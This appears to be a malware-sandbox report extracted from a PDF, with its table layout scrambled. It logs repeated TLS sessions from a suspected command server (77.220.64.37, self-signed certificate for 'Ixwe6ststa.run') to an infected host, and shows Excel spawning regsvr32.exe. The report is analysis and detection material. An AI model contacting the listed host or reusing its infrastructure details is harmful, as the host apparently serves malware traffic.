192.168.2.22 49232 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49237 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:34:12.268102884
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:34:15.437407970

CET

Jan 11, 2021
16:34:17.479326010
CET

77.220.64.37 443

Jan 11, 2021
16:34:19.540899038
CET

77.220.64.37 443

Jan 11, 2021
16:34:21.612062931
CET

77.220.64.37 443

Jan 11, 2021
16:34:23.673589945
CET

77.220.64.37 443

Jan 11, 2021
16:34:25.767985106
CET

77.220.64.37 443

Jan 11, 2021
16:34:28.056412935
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49241 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49245 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49249 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49253 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49257 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49261 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49265 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49270 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:34:30.125744104
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:34:33.080324888

CET

Jan 11, 2021
16:34:35.201630116
CET

77.220.64.37 443

Jan 11, 2021
16:34:37.249486923
CET

77.220.64.37 443

Jan 11, 2021
16:34:39.395917892
CET

77.220.64.37 443

Jan 11, 2021
16:34:41.445898056
CET

77.220.64.37 443

Jan 11, 2021
16:34:43.534405947
CET

77.220.64.37 443

Jan 11, 2021
16:34:45.676342010
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49274 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49278 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49282 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49286 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49290 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49294 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49298 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49302 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:34:47.735541105
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:34:50.444833994

CET

Jan 11, 2021
16:34:52.503393888
CET

77.220.64.37 443

Jan 11, 2021
16:34:54.519881010
CET

77.220.64.37 443

Jan 11, 2021
16:34:56.571484089
CET

77.220.64.37 443

Jan 11, 2021
16:34:58.624557018
CET

77.220.64.37 443

Jan 11, 2021
16:35:00.715691090
CET

77.220.64.37 443

Jan 11, 2021
16:35:02.802403927
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49306 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49310 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49314 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49318 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49322 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49326 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49330 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49334 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:35:04.892348051
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:35:06.991646051

CET

Jan 11, 2021
16:35:09.102309942
CET

77.220.64.37 443

Jan 11, 2021
16:35:11.176218987
CET

77.220.64.37 443

Jan 11, 2021
16:35:13.283894062
CET

77.220.64.37 443

Jan 11, 2021
16:35:15.380542040
CET

77.220.64.37 443

Jan 11, 2021
16:35:17.417956114
CET

77.220.64.37 443

Jan 11, 2021
16:35:19.567363024
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49338 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49342 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49346 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49350 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49354 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49358 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49362 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49366 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:35:21.760297060
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:35:23.867316008

CET

Jan 11, 2021
16:35:25.943777084
CET

77.220.64.37 443

Jan 11, 2021
16:35:28.029237032
CET

77.220.64.37 443

Jan 11, 2021
16:35:30.119498968
CET

77.220.64.37 443

Jan 11, 2021
16:35:32.161516905
CET

77.220.64.37 443

Jan 11, 2021
16:35:34.214787960
CET

77.220.64.37 443

Jan 11, 2021
16:35:36.323626041
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49370 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49374 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49378 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49382 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49386 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49390 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49394 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49398 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 11, 2021 77.220.64.37 443 192.168.2.22 49402 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192-49191- eb88d0b3e1961a0562f00
16:35:38.403122902 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24  49172-49171-159- 6e5ce2a0b87

CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 158-57-51-157-

CET CEST  156-61-60-53-47-

2020 2021 49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

Jan 11, 2021 77.220.64.37 443 192.168.2.22 49406 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192-49191- eb88d0b3e1961a0562f00
16:35:40.514705896 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24  49172-49171-159- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 158-57-51-157-

CET CEST  156-61-60-53-47-

2020 2021 49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

Jan 11, 2021 77.220.64.37 443 192.168.2.22 49410 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192-49191- eb88d0b3e1961a0562f00
16:35:42.583786011 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24  49172-49171-159- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 158-57-51-157-

CET CEST  156-61-60-53-47-

2020 2021 49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

Code Manipulations

Statistics

Behavior

@ EXCEL.EXE
® regsvr32.exe
@ regsvr32.exe
@ DW20.EXE

©® DWWIN.EXE

@ Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1916 Parent PID: 584

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\Excel8.0

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

Copyright null 2021

Access

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

16:32:39
11/01/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

false

